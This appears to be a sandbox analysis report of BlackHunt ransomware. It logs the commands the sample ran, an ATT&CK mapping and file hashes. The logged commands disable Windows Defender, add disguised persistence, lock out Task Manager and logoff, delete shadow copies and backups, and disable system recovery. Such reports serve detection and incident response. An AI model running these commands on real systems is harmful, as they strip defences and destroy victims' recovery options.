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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2792
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2700
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2768
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2752
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2888
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2428
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2824
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2828
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2616
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2688
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2584
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2592
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2064
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2960
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3036
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2068
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1204
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1072
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1500
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2524
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2224
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2160
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:924
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2632
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2640
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F2⤵PID:2948
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F3⤵
- Creates scheduled task(s)
PID:616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2008
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2388
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1260
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1964
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2488
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:832
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1524
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2084
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:752
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1904
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1180
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:644
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1448
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:896
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:520
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2620
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5e079e2465e2bc4439600466932863a46
SHA1b64d1d157de52f8e227bf0f2542047634a13b48b
SHA2562244628b7011bc1355c7c9bab4306acca43ed0eb2727fee7093d1c78a69ccf83
SHA5123cdfbb3223fd2473363bf70103c72e484bcb901ab7e9295d98fd427f5b7b749520d034beb61ebd1dfd792581b6fa998488a270ac325ac5c319ebf9d388fd7c53
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Filesize
12KB
MD5961a7d908c4a295d1c1c322b18f15081
SHA19175fc57e689ecce78ae91039cb70c63c963e1d9
SHA256c3e28e217c237fdf7582f39e039d65913aaf3aed9990e7a9f2c09e3575030bdb
SHA512d35c10370768d47a4334bdfa10efc260fd9c4d58333f90b5adb87624fe622fc5b4cbdabd73b883d192aca8b1dfc44025b81c38705e239898168022c59df09227
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Filesize
684B
MD56fbee44151b3721a70bccbb791153599
SHA10da5dc785bcc1f92e59b87e06ff9cf3a35a4fe59
SHA256168fe01c4b65487ab4c667e2a69ec09047fc5cb148c97e0637eff0c7ff29b900
SHA512663c25b86205c6b94a3191ee79d82c930f344c74febc36fbcb08942d9874930eaf2f1c4c21ec1cca12787e6e52b3bb09ea87217fa7dc7045bbd0c4d0701a00fd